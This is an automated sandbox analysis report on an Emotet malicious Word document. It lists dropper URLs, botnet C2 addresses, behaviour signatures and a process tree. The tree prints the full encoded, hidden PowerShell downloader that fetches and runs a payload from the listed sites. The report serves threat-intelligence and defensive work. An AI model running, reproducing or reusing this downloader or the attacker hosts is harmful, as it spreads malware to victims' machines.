Analysis

  • max time kernel
    137s
  • max time network
    150s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    30/10/2020, 08:06

General

  • Target
    emotet_e1_fc78cea416d8f9dddd6750de180d44c1af35cf844172007fdc47a556ead137e2_2020-10-30__080312539867._doc.doc
  • Size 207KB
  • Sample201030-prjry797y2
  • SHA256 fc78cea416d8f9dddd6750de180d44c1af35cf844172007fdc47a556ead137e2
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://vidadohomem.com/wp-content/v/

  • exe.dropper

    http://www.ecobaratocanaria.com/wp-admin/eR/

  • exe.dropper

    http://uxnew.com/old/89i/

  • exe.dropper

    http://www.tz004.com/ad_files/a0/

  • exe.dropper

    http://www.removepctrojan.com/wp-admin/b/

  • exe.dropper

    https://www.mycollegecp.com/content/jA/

  • exe.dropper

    http://legalempowermentindia.com/cgi-bin/Qs/

Extracted

Family
  • emotet

Botnet
  • Epoch1

C2
  • 190.202.229.74:80

  • 118.69.11.81:7080

  • 70.39.251.94:8080

  • 87.230.25.43:8080

  • 94.23.62.116:8080

  • 37.187.161.206:8080

  • 45.46.37.97:80

  • 138.97.60.141:7080

  • 177.144.130.105:8080

  • 169.1.39.242:80

  • 209.236.123.42:8080

  • 202.134.4.210:7080

  • 193.251.77.110:80

  • 2.45.176.233:80

  • 217.13.106.14:8080

  • 189.223.16.99:80

  • 190.101.156.139:80

  • 77.238.212.227:80

  • 181.58.181.9:80

  • 37.183.81.217:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 3 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_fc78cea416d8f9dddd6750de180d44c1af35cf844172007fdc47a556ead137e2_2020-10-30__080312539867._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3324
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -windowstyle hidden -ENCOD UwB2ACAAIABFAHIAQwA0AG8AMgAgACAAKAAgAFsAVABZAFAAZQBdACgAIgB7ADAAfQB7ADIAfQB7ADEAfQB7ADMAfQAiACAALQBmACAAJwBzAFkAcwBUAEUAbQAuACcALAAnAFQAJwAsACcAaQBPAC4ARABJAFIAZQBDACcALAAnAE8AUgB5ACcAKQAgACAAKQA7ACAAIABTAEUAdAAtAGkAdABFAE0AIAAgAHYAQQBSAGkAYQBiAEwARQA6AHMATgBhAFgARQAgACAAKABbAFQAWQBwAGUAXQAoACIAewAwAH0AewAzAH0AewAxAH0AewA2AH0AewA0AH0AewA1AH0AewAyAH0AIgAgAC0AZgAnAHMAeQBzAHQARQBNAC4AJwAsACcAZQBSACcALAAnAEcAZQBSACcALAAnAE4ARQBUAC4AUwAnACwAJwBNAEEATgAnACwAJwBhACcALAAnAHYAaQBjAGUAUABPAGkATgB0ACcAKQAgACkAIAA7ACQASgBsAF8AMgB5AGoAYgA9ACgAKAAnAEwAYgAnACsAJwBmACcAKQArACcAMQAnACsAKAAnADQANgAnACsAJwAwACcAKQApADsAJABJADEAcgB4ADQAbABpAD0AJABDAGUAYwA5ADEAcABjACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABWAHAAcABhADEAbAAxADsAJABWAF8AawByAG0AcwAyAD0AKAAnAEYANgAnACsAJwA0AHAAJwArACgAJwA3ACcAKwAnADgAagAnACkAKQA7ACAAKABHAGkAIAAgAHYAQQByAEkAQQBiAGwARQA6AGUAcgBDADQAbwAyACAAIAApAC4AdgBBAEwAVQBFADoAOgAiAGMAYABSAGUAQQB0AEUARABpAFIAYABFAGMAYABUAG8AcgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwBMACcAKwAnAHgAdQAnACkAKwAoACcAVQBqACcAKwAnAG0AaQBxACcAKQArACgAJwBhAHgATAAnACsAJwB4ACcAKQArACgAJwB1AFAAawB2ACcAKwAnADEAJwApACsAJwA4ACcAKwAnAHIAJwArACgAJwA3ACcAKwAnAEwAeAB1ACcAKQApAC4AIgByAGAARQBwAGAATABhAGMAZQAiACgAKABbAEMASABBAFIAXQA3ADYAKwBbAEMASABBAFIAXQAxADIAMAArAFsAQwBIAEEAUgBdADEAMQA3ACkALAAnAFwAJwApACkAKQA7ACQASAAzAHcAMwBvADAANAA9ACgAKAAnAEcAbQAnACsAJwA5ACcAKQArACgAJwBqADYAYgAnACsAJwAzACcAKQApADsAIAAgACgASQBUAEUAbQAgAHYAYQBSAGkAQQBCAGwAZQA6AHMATgBhAFgAZQAgACkALgBWAGEATABVAEUAOgA6ACIAcwBgAGUAYwBgAFUAUgBJAFQAeQBwAFIAbwBUAG8AYwBgAG8ATAAiACAAPQAgACgAJwBUACcAKwAoACcAbAAnACsAJwBzADEAMgAnACkAKQA7ACQASABsADcANQB1AHMAcwA9ACgAJwBLACcAKwAoACcAdQAnACsAJwAxADYAdwAnACkAKwAnAHgAMwAnACkAOwAkAEMAbQB0ADcAZwBjAHgAIAA9ACAAKAAoACcARQAnACsAJwB5ADEAJwApACsAKAAnADkAegAnACsAJwAwACcAKQArACgAJwBxADcAJwArACcAZwAnACkAKQA7ACQARgBfAHYAcwB5AGYAYwA9ACgAJwBDAHUAJwArACgAJwBiACcAKwAnAHEAZwA1ACcAKQArACcAawAnACkAOwAkAEoANgBqADkAbAB3AHYAPQAoACgAJwBDACcAKwAnAGcAbQAnACkAKwAnADYAcQAnACsAJwBtADcAJwApADsAJABVAHEAeQByAHEAagByAD0AJABIAE8ATQBFACsAKAAoACcAawB4ACcAKwAnAEkAJwArACgAJwBVAGoAbQBpACcAKwAnAHEAJwArACcAYQAnACkAKwAnAHgAJwArACgAJwBrAHgAJwArACcASQBQACcAKQArACgAJwBrAHYAJwArACcAMQAnACkAKwAoACcAOAAnACsAJwByADcAJwApACsAKAAnAGsAeAAnACsAJwBJACcAKQApAC4AIgByAGUAUABsAGEAYABDAGUAIgAoACgAWwBjAEgAQQByAF0AMQAwADcAKwBbAGMASABBAHIAXQAxADIAMAArAFsAYwBIAEEAcgBdADcAMwApACwAWwBTAHQAUgBpAE4ARwBdAFsAYwBIAEEAcgBdADkAMgApACkAKwAkAEMAbQB0ADcAZwBjAHgAKwAoACgAJwAuAGUAJwArACcAeAAnACkAKwAnAGUAJwApADsAJABRAGkAawBzAGIAOAA3AD0AKAAnAFUAJwArACcAMAB0ACcAKwAoACcAaAA2ACcAKwAnADIAcwAnACkAKQA7ACQATgBiAHcAZgB6AGUAcwA9ACYAKAAnAG4AZQB3AC0AbwBiAGoAJwArACcAZQAnACsAJwBjAHQAJwApACAAbgBFAFQALgBXAEUAYgBDAGwASQBFAG4AdAA7ACQASQBjAGIAegBjAHAAbQA9ACgAKAAnAGgAJwArACcAdAB0AHAAOgAnACkAKwAoACcAXQAnACsAJwBbACcAKwAnACgAcwApAF0AJwArACcAdwBdACcAKwAnAFsAKABzACkAXQB3AHYAJwArACcAaQBkAGEAZAAnACsAJwBvAGgAbwBtACcAKQArACgAJwBlAG0AJwArACcALgAnACkAKwAoACcAYwBvAG0AJwArACcAXQAnACsAJwBbACgAcwApAF0AdwB3AHAALQBjACcAKwAnAG8AbgB0AGUAbgAnACkAKwAoACcAdABdACcAKwAnAFsAJwApACsAKAAoACcAKABzACcAKQApACsAKAAoACcAKQBdACcAKwAnAHcAdgBdACcAKQApACsAKAAnAFsAKAAnACsAJwBzACkAJwApACsAKAAnAF0AJwArACcAdwBAAGgAdAB0ACcAKQArACgAKAAnAHAAOgBdAFsAJwArACcAKAAnACkAKQArACgAKAAnAHMAJwArACcAKQAnACsAJwBdAHcAXQAnACsAJwBbACgAcwApAF0AdwB3ACcAKwAnAHcAJwApACkAKwAoACcAdwAuACcAKwAnAGUAYwBvACcAKwAnAGIAYQAnACkAKwAnAHIAJwArACgAJwBhAHQAbwAnACsAJwBjACcAKwAnAGEAbgBhAHIAaQBhAC4AJwArACcAYwBvAG0AJwArACcAXQAnACkAKwAoACcAWwAoACcAKwAnAHMAKQAnACkAKwAoACcAXQB3ACcAKwAnAHcAcAAtACcAKQArACgAJwBhAGQAbQBpAG4AXQAnACsAJwBbACgAJwArACcAcwApAF0AdwAnACkAKwAoACgAJwBlAFIAJwArACcAXQBbACgAJwApACkAKwAoACgAJwBzACkAJwArACcAXQAnACkAKQArACgAJwB3AEAAaAAnACsAJwB0ACcAKQArACgAJwB0AHAAJwArACcAOgBdAFsAKAAnACsAJwBzACkAXQB3AF0AWwAnACsAJwAoAHMAKQBdAHcAdQB4ACcAKQArACcAbgBlACcAKwAoACcAdwAuAGMAbwAnACsAJwBtACcAKQArACgAKAAnAF0AWwAoAHMAKQBdACcAKwAnAHcAbwBsACcAKwAnAGQAXQBbACgAcwAnACkAKQArACgAKAAnACkAXQB3ADgAOQAnACsAJwBpAF0AWwAoACcAKQApACsAKAAoACcAcwApACcAKwAnAF0AJwApACkAKwAoACcAdwBAAGgAdAB0ACcAKwAnAHAAJwArACcAOgBdACcAKQArACgAJwBbACgAcwApAF0AJwArACcAdwBdAFsAJwApACsAKAAnACgAcwApACcAKwAnAF0AdwB3ACcAKwAnAHcAJwArACcAdwAuAHQAegAwACcAKQArACcAMAA0ACcAKwAoACcALgBjACcAKwAnAG8AbQBdACcAKQArACgAJwBbACcAKwAnACgAcwApACcAKQArACgAJwBdAHcAYQBkACcAKwAnAF8AZgBpAGwAJwApACsAJwBlACcAKwAoACcAcwBdAFsAKAAnACsAJwBzACcAKwAnACkAJwApACsAKAAnAF0AdwAnACsAJwBhACcAKQArACgAJwAwAF0AJwArACcAWwAoAHMAKQBdACcAKwAnAHcAJwApACsAJwBAACcAKwAoACcAaAAnACsAJwB0AHQAcAAnACkAKwAoACgAJwA6AF0AWwAnACsAJwAoACcAKQApACsAKAAoACcAcwAnACsAJwApAF0AdwBdAFsAKAAnACkAKQArACgAKAAnAHMAKQAnACkAKQArACgAJwBdACcAKwAnAHcAdwB3AHcAJwApACsAKAAnAC4AJwArACcAcgBlAG0AJwApACsAJwBvAHYAJwArACgAJwBlACcAKwAnAHAAYwB0ACcAKQArACgAJwByACcAKwAnAG8AagBhAG4ALgAnACkAKwAoACcAYwAnACsAJwBvAG0AXQBbACcAKQArACcAKAAnACsAKAAoACcAcwAnACsAJwApAF0AdwAnACsAJwB3AHAAJwApACkAKwAnAC0AJwArACgAJwBhAGQAJwArACcAbQBpACcAKQArACgAJwBuAF0AJwArACcAWwAnACkAKwAoACcAKABzACkAXQB3ACcAKwAnAGIAJwApACsAKAAoACcAXQAnACsAJwBbACgAJwApACkAKwAoACgAJwBzACcAKwAnACkAXQAnACkAKQArACgAJwB3ACcAKwAnAEAAaAB0ACcAKwAnAHQAcABzACcAKQArACgAKAAnADoAXQBbACcAKwAnACgAcwApAF0AdwAnACsAJwBdAFsAKAAnACkAKQArACgAKAAnAHMAJwArACcAKQBdACcAKQApACsAKAAnAHcAdwB3AHcALgAnACsAJwBtAHkAJwArACcAYwAnACkAKwAnAG8AbAAnACsAKAAnAGwAJwArACcAZQBnACcAKQArACcAZQAnACsAKAAnAGMAcAAnACsAJwAuAGMAJwArACcAbwBtAF0AWwAoAHMAKQAnACsAJwBdAHcAYwBvAG4AJwArACcAdAAnACsAJwBlAG4AJwArACcAdABdACcAKwAnAFsAJwArACcAKABzACkAXQB3ACcAKQArACgAJwBqACcAKwAnAEEAXQBbACgAcwApACcAKwAnAF0AdwBAACcAKQArACgAJwBoAHQAdAAnACsAJwBwADoAJwApACsAKAAnAF0AWwAnACsAJwAoAHMAKQAnACkAKwAoACcAXQB3ACcAKwAnAF0AWwAnACkAKwAoACcAKABzACkAJwArACcAXQB3AGwAZQBnAGEAJwApACsAKAAnAGwAZQBtAHAAJwArACcAbwB3AGUAcgAnACsAJwBtAGUAbgB0ACcAKwAnAGkAbgAnACsAJwBkACcAKQArACgAKAAnAGkAYQAnACsAJwAuAGMAbwBtAF0AJwArACcAWwAoAHMAJwApACkAKwAoACgAJwApAF0AJwApACkAKwAoACcAdwBjACcAKwAnAGcAaQAtAGIAaQBuACcAKwAnAF0AWwAoAHMAKQBdACcAKwAnAHcAUQAnACsAJwBzAF0AWwAoAHMAKQBdAHcAJwApACkALgAiAHIARQBgAFAAYABMAGEAYwBFACIAKAAoACcAXQBbACcAKwAoACcAKABzACkAJwArACcAXQB3ACcAKQApACwAKABbAGEAcgByAGEAeQBdACgAJwAvACcAKQAsACgAJwB4AHcAJwArACcAZQAnACkAKQBbADAAXQApAC4AIgBzAHAATABgAGkAdAAiACgAJABSAHoAdwB2AHgAaQBiACAAKwAgACQASQAxAHIAeAA0AGwAaQAgACsAIAAkAEsAdQBwAHMANQBpAGgAKQA7ACQAUwBiADQAOQB1ADMAMAA9ACgAKAAnAFoAegAnACsAJwBmACcAKwAnAG0AYwBuACcAKQArACcAZwAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAE8AXwA1AHgAZwBlAGoAIABpAG4AIAAkAEkAYwBiAHoAYwBwAG0AKQB7AHQAcgB5AHsAJABOAGIAdwBmAHoAZQBzAC4AIgBEAG8AYAB3AG4ATABgAG8AYABBAEQAZgBJAGwAZQAiACgAJABPAF8ANQB4AGcAZQBqACwAIAAkAFUAcQB5AHIAcQBqAHIAKQA7ACQAUgBxAGcAMwAyAGsAbgA9ACgAKAAnAEUAeQAnACsAJwBkAHMAJwApACsAJwBzAG4AJwArACcAMgAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQAVQBxAHkAcgBxAGoAcgApAC4AIgBMAGUAYABOAEcAdABoACIAIAAtAGcAZQAgADQAMQAwADUAMgApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AKAAoACcAdwBpACcAKwAnAG4AMwAnACkAKwAoACcAMgBfAFAAcgAnACsAJwBvACcAKQArACcAYwBlACcAKwAnAHMAJwArACcAcwAnACkAKQAuACIAYwByAGUAYABBAFQAZQAiACgAJABVAHEAeQByAHEAagByACkAOwAkAFUAcwA1ADkAdQBuADcAPQAoACcARAAnACsAKAAnAHYAOQBjACcAKwAnAHoAdAAnACkAKwAnAGIAJwApADsAYgByAGUAYQBrADsAJABCADUAbwBiAHAAYQBvAD0AKAAoACcASwAyADcAegAnACsAJwByACcAKQArACcAMAB3ACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUAB2AGwANgBtAHAAZAA9ACgAJwBIAGMAJwArACgAJwB3AHoAcQAnACsAJwBsAHMAJwApACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:3380
  • C:\Users\Admin\Ujmiqax\Pkv18r7\Ey19z0q7g.exe
    C:\Users\Admin\Ujmiqax\Pkv18r7\Ey19z0q7g.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of WriteProcessMemory
    PID:1592
    • C:\Windows\SysWOW64\bootcfg\spnet.exe
      "C:\Windows\SysWOW64\bootcfg\spnet.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      PID:3872
  • \??\c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NgcSvc
    1⤵
      PID:1580
    • \??\c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s DeviceAssociationService
      1⤵
        PID:3808
      • \??\c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s NgcCtnrSvc
        1⤵
        • Modifies data under HKEY_USERS
        PID:416

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            memory/1592-14-0x0000000002690000-0x00000000026EB000-memory.dmp

            memory/1592-15-0x00000000026F0000-0x000000000274A000-memory.dmp

            memory/3324-5-0x0000023CAAA93000-0x0000023CAAA9C000-memory.dmp

            memory/3324-0-0x00007FFB85DC0000-0x00007FFB863F7000-memory.dmp

            memory/3380-10-0x0000023F342E0000-0x0000023F342E1000-memory.dmp

            memory/3380-11-0x0000023F344B0000-0x0000023F344B1000-memory.dmp

            memory/3380-9-0x00007FFB7F470000-0x00007FFB7FE5C000-memory.dmp

            memory/3872-18-0x0000000002100000-0x000000000215B000-memory.dmp

            memory/3872-19-0x0000000002160000-0x00000000021BA000-memory.dmp